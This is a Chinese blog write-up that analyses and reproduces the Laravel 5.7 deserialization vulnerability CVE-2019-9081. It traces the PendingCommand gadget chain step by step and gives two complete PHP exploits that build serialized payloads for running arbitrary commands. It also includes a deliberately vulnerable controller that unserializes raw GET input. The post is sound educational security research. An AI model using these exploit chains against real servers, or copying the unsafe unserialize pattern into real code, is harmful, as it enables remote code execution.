Laravel5.7(CVE-2019-9081)反序列化漏洞分析与复现

本文详细介绍了Laravel 5.7中一个反序列化漏洞的原理和复现过程,通过环境搭建、代码审计及调试,展示了如何利用该漏洞执行任意命令。作者通过手动调试深入理解了反序列化链,并提供了两种不同的exploit代码,加深了对漏洞利用的理解。同时,文章强调了调试技巧和知识的重要性。
摘要由CSDN通过智能技术生成

前言

在做题的时候遇到了这题,所以便来学习一下这个漏洞的原理,因为还是个萌新看文章时有一些地方不是特别理解,所以便来手动调试一下

环境搭建

我采用的是vscode+phpstudy+php7.3.4+xdebug,一开始的默认调试时间太过于短暂,不方便跟踪,可以参考这篇文章 xdebug修改调试时间

在自己的网站文件夹下使用composer下载Laravel5.7
composer create-project laravel/laravel=5.7.* --prefer-dist ./
composer搭建链接

复现准备

  1. 需要在 app\Http\Controllers 下新建一个控制器
    //app\Http\Controllers\kb_Coneroller 类名与文件名保持一致
    <?php 
    namespace App\Http\Controllers;
    
    use Illuminate\Http\Request;
    
    class kb_Controller extends Controller
    {
        public function kb()
        {
            if(isset($_GET['unserialize'])){
                $code = $_GET['unserialize'];
                unserialize($code);
            }
            else{
                highlight_file(__FILE__);
            }
            return "kb";
        }
    }
    ?>
    

2.在 routes\web.php 添加一条路由

	Route::get('/kb',"kb_Controller@kb");//类名@方法名

反序列化代码审计

漏洞链的起点在vendor\laravel\framework\src\Illuminate\Foundation\Testing\PendingCommand.php
该类的主要作用是用来命令执行,我们要利用的就是其中的run方法,有两个变量很重要

    protected $command;//要运行的命令
    protected $parameters;//要传给命令的参数,这个是数组
public function __destruct()
    {
        if ($this->hasExecuted) {
            return;
        }

        $this->run();
    }

在它的析构函数中便有调用到run方法,但是得经过上面的判断,但是hasExecuted本来便是false

protected $hasExecuted = false;

直接进入run方法

    public function run()
    {
        $this->hasExecuted = true;

        $this->mockConsoleOutput();

        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
            if ($e->getMethodName() === 'askQuestion') {
                $this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
            }

            throw $e;
        }

        if ($this->expectedExitCode !== null) {
            $this->test->assertEquals(
                $this->expectedExitCode, $exitCode,
                "Expected status code {$this->expectedExitCode} but received {$exitCode}."
            );
        }

        return $exitCode;
    }

要想执行到异常处理代码中得先经过 $this->mockConsoleOutput()

protected function mockConsoleOutput()
    {
        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
        ]);

        foreach ($this->test->expectedQuestions as $i => $question) {
            $mock->shouldReceive('askQuestion')
                ->once()
                ->ordered()
                ->with(Mockery::on(function ($argument) use ($question) {
                    return $argument->getQuestion() == $question[0];
                }))
                ->andReturnUsing(function () use ($question, $i) {
                    unset($this->test->expectedQuestions[$i]);

                    return $question[1];
                });
        }

        $this->app->bind(OutputStyle::class, function () use ($mock) {
            return $mock;
        });
    }

先写个poc试试

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public function __construct(){
            $this->command="phpinfo";
            $this->parameters[]="1";  
        }
    }
}
namespace {
    use Illuminate\Foundation\Testing\PendingCommand;
    echo urlencode(serialize(new PendingCommand()));
}

在这里插入图片描述
在196行的createABufferedOutputMock()方法中出现错误,说试图获取非对象的属性,先进代码看看。

foreach ($this->test->expectedOutput as $i => $output) {///}

expectedOutput是一个数组将它进行foreach循环,本类中并没有这个属性,
$this->test也是我们可以控制的,所以我们可以用__get()来让他返回一个数组,全局搜索一个__get()。
在这里插入图片描述

public function __get($attribute)
    {
        return $this->default;
    }

继续编写调试poc

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        public function __construct($test){
            $this->command="phpinfo";
            $this->parameters[]="1";
            $this->test=$test;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default)
        {
            $this->default =$default;
        }
    }
}
namespace {
    use Illuminate\Foundation\Testing\PendingCommand;
    use Faker\DefaultGenerator;
    $default = new DefaultGenerator(array('kb'=>'aaa'));
    $pend = new PendingCommand($default);
    echo urlencode(serialize($pend));
}

下断点调试
在这里插入图片描述
进入,成功调用到__get
在这里插入图片描述
成功返回数组内容,然后便返回到mockConsoleOutput()中
在这里插入图片描述
继续调试发现在180行的mockConsoleOutput()方法中出现问题,说在 null 上调用成员函数 bind()
在这里插入图片描述
进代码中查看
在这里插入图片描述
上面说app是一个实例化的Application,那我们便给他赋值
修改poc

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $app;
        protected $command;
        protected $parameters;
        public $test;
        public function __construct($test,$app){
            $this->command="phpinfo";
            $this->parameters[]="1";
            $this->test=$test;
            $this->app = $app;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default)
        {
            $this->default =$default;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand,Faker\DefaultGenerator,Illuminate\Foundation\Application;;
    $default = new DefaultGenerator(array('kb'=>'aaa'));
    $app = new Application();
    $pend = new PendingCommand($default,$app);
    echo urlencode(serialize($pend));
}

这时调试发现已经成功跳出mockConsoleOutput()
在这里插入图片描述
然后执行到

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

这个时候的app已经是Application类的对象,kernel:class是Illuminate\Contracts\Console\Kernel,对象被当做数组使用的话必须要使用ArrayAccess接口,而刚好Application类的父类Container类中就有使用了这个接口,这个call函数也是在app中的,所以得返回一个app对象
在这里插入图片描述
在这里插入图片描述
我们再下断点跟进一下
在这里插入图片描述
跳转到offsetGet,key是Illuminate\Contracts\Console\Kernel,然后再跳转到make。
在这里插入图片描述

上面的代码不影响,然后再跳到父类的make
在这里插入图片描述
再跳到resolve,这里有两个利用点可以返回app对象
一.在下方代码15行返回
二.最后一个return $object

 protected function resolve($abstract, $parameters = [])
    {
        $abstract = $this->getAlias($abstract);

        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );

        // If an instance of the type is currently being managed as a singleton we'll
        // just return an existing instance instead of instantiating new instances
        // so the developer can keep using the same objects instance every time.
        
        //下面这里是第一个
        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }

        $this->with[] = $parameters;

        $concrete = $this->getConcrete($abstract);

        // We're ready to instantiate an instance of the concrete type registered for
        // the binding. This will instantiate the types, as well as resolve any of
        // its "nested" dependencies recursively until all have gotten resolved.
        
		//这里是第二个
        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

        // If we defined any extenders for this type, we'll need to spin through them
        // and apply them to the object being built. This allows for the extension
        // of services, such as changing configuration or decorating the object.
        foreach ($this->getExtenders($abstract) as $extender) {
            $object = $extender($object, $this);
        }

        // If the requested type is registered as a singleton we'll want to cache off
        // the instances in "memory" so we can return it later without creating an
        // entirely new instance of an object on each subsequent request for it.
        if ($this->isShared($abstract) && ! $needsContextualBuild) {
            $this->instances[$abstract] = $object;
        }

        $this->fireResolvingCallbacks($abstract, $object);

        // Before returning, we will also set the resolved flag to "true" and pop off
        // the parameter overrides for this build. After those two things are done
        // we will be ready to return back the fully constructed class instance.
        $this->resolved[$abstract] = true;

        array_pop($this->with);

        return $object;

要想在15行返回得满足下列条件


if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
            return $this->instances[$abstract];
        }

返回的便是个数组中的对象,我们直接给他赋值为app对象即可,而且也满足了if的第一个条件,第二个条件取反了所以它原来得是假,那我们便去跟一下这个属性

protected function resolve($abstract, $parameters = [])
    {
        $abstract = $this->getAlias($abstract);

        $needsContextualBuild = ! empty($parameters) || ! is_null(
            $this->getContextualConcrete($abstract)
        );
     }
$parameters是个空数组取反后为假,再跳转到getContextualConcrete(),$abstract一直都是"Illuminate\Contracts\Console\Kernel"

在这里插入图片描述
不会再第一个if返回,在第二个if中不存在 $this->abstractAliases[Illuminate\Contracts\Console\Kernel]这个值所以为空,直接返回空,所以 $needsContextualBuild的值就是false,这样就直接返回了app对象
去调用call方法,再去跟一下call方法

    public function call($callback, array $parameters = [], $defaultMethod = null)
    {
        return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    }

第一个参数是执行的命令,第二个是参数,第3个默认为空,继续进入BoundMethod::call

    public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
    {
        if (static::isCallableWithAtSign($callback) || $defaultMethod) {
            return static::callClass($container, $callback, $parameters, $defaultMethod);
        }

        return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        });
    }

我们不能进入第一个if的返回所以先看看第一个if判断, $defaultMethod是空这个我们不管他

protected static function isCallableWithAtSign($callback)
    {
        return is_string($callback) && strpos($callback, '@') !== false;
    }

这里只要命令中不带@就会返回假,所以不会进入call中的if,继续分析call下面的代码

return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        });

主要看call_user_func_array的第二个参数

    protected static function getMethodDependencies($container, $callback, array $parameters = [])
    {
        $dependencies = [];

        foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
            static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
        }

        return array_merge($dependencies, $parameters);
    }

这里主要就是将我们的参数数组与$dependencies结合起来,所以不会影响我们,这条反序列化链就到此为止,最终exp

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $app;
        protected $command;
        protected $parameters;
        public $test;
        public function __construct($test,$app){
            $this->command="phpinfo";
            $this->parameters[]="1";
            $this->test=$test;
            $this->app = $app;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default)
        {
            $this->default =$default;
        }
    }
}
namespace Illuminate\Foundation{

    use Illuminate\Foundation\Application as FoundationApplication;

class Application{
        protected $instances = [];
        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand,Faker\DefaultGenerator,Illuminate\Foundation\Application;;
    $default = new DefaultGenerator(array('kb'=>'aaa'));
    $app = new Application();
    $application = new Application($app);
    $pend = new PendingCommand($default,$application);
    echo urlencode(serialize($pend));
}

在这里插入图片描述

在这里插入图片描述
上面是resolve()的第一个返回app的方法,接下来看看第二个

        $concrete = $this->getConcrete($abstract);

        if ($this->isBuildable($concrete, $abstract)) {
            $object = $this->build($concrete);
        } else {
            $object = $this->make($concrete);
        }

进getConcrete($abstract)看看

    protected function getConcrete($abstract)
    {
        if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
            return $concrete;
        }
        if (isset($this->bindings[$abstract])) {
            return $this->bindings[$abstract]['concrete'];
        }

        return $abstract;
    }

再进入getContextualConcrete()

    protected function getContextualConcrete($abstract)
    {
        if (! is_null($binding = $this->findInContextualBindings($abstract))) {
            return $binding;
        }
        if (empty($this->abstractAliases[$abstract])) {
            return;
        }

        foreach ($this->abstractAliases[$abstract] as $alias) {
            if (! is_null($binding = $this->findInContextualBindings($alias))) {
                return $binding;
            }
        }
    }

第一个if返回的是空不会进入,没有$this->abstractAliases[“Illuminate\Contracts\Console\Kernel”],直接return,回到getConcrete()

if (isset($this->bindings[$abstract])) {
            return $this->bindings[$abstract]['concrete'];
        }

return $abstract;

没有设置$this->bindings[‘Illuminate\Contracts\Console\Kernel’],会直接返回kernel,不能让它这样返回,得让他返回一个Application类,所以在
this->bindings[‘Illuminate\Contracts\Console\Kernel’][‘concrete’] 下手
将Application类赋值给他,继续调试
在这里插入图片描述
在这里插入图片描述
成功返回Application类,此时两个变量不一样,所以会带Application类再进一次make方法
make->parent::make()->resolve()->getConcrete
在这里插入图片描述

没有设置 $this->bindings[“Illuminate\Foundation\Application”][‘concrete’],直接返回
在这里插入图片描述
两个相等,进入build()
在这里插入图片描述
最终就用反射类实例化app对象,然后逐层返回,再调用call()
在这里插入图片描述
第二个exp如下:

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $app;
        protected $command;
        protected $parameters;
        public $test;
        public function __construct($test,$app){
            $this->command="phpinfo";
            $this->parameters[]="1";
            $this->test=$test;
            $this->app = $app;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct($default)
        {
            $this->default =$default;
        }
    }
}
namespace Illuminate\Foundation{

    use Illuminate\Foundation\Application as FoundationApplication;

class Application{
        protected $bindings;
        //protected $instances = [];
        public function __construct($instances = [])
        {
            //$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
            $this->bindings['Illuminate\Contracts\Console\Kernel']['concrete'] = 'Illuminate\Foundation\Application';
        }
    }
}

namespace {
    use Illuminate\Foundation\Testing\PendingCommand,Faker\DefaultGenerator,Illuminate\Foundation\Application;
    $default = new DefaultGenerator(array('kb'=>'aaa'));
    $app = new Application();
//    $application = new Application($app);
    $pend = new PendingCommand($default,$app);
    echo urlencode(serialize($pend));
}
?>

在这里插入图片描述

总结:对反序列化有了更深的认识,主要是锻炼了自己的思路,也会了更多的调试手法。自己还是太菜,得花更多的时间学习(强的强死,菜的菜死)。

参考链接:
laravel5.7 反序列化漏洞复现
Laravel5.7反序列化RCE漏洞分析
Laravel5.7反序列化漏洞之RCE链挖掘/#漏洞链挖掘

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值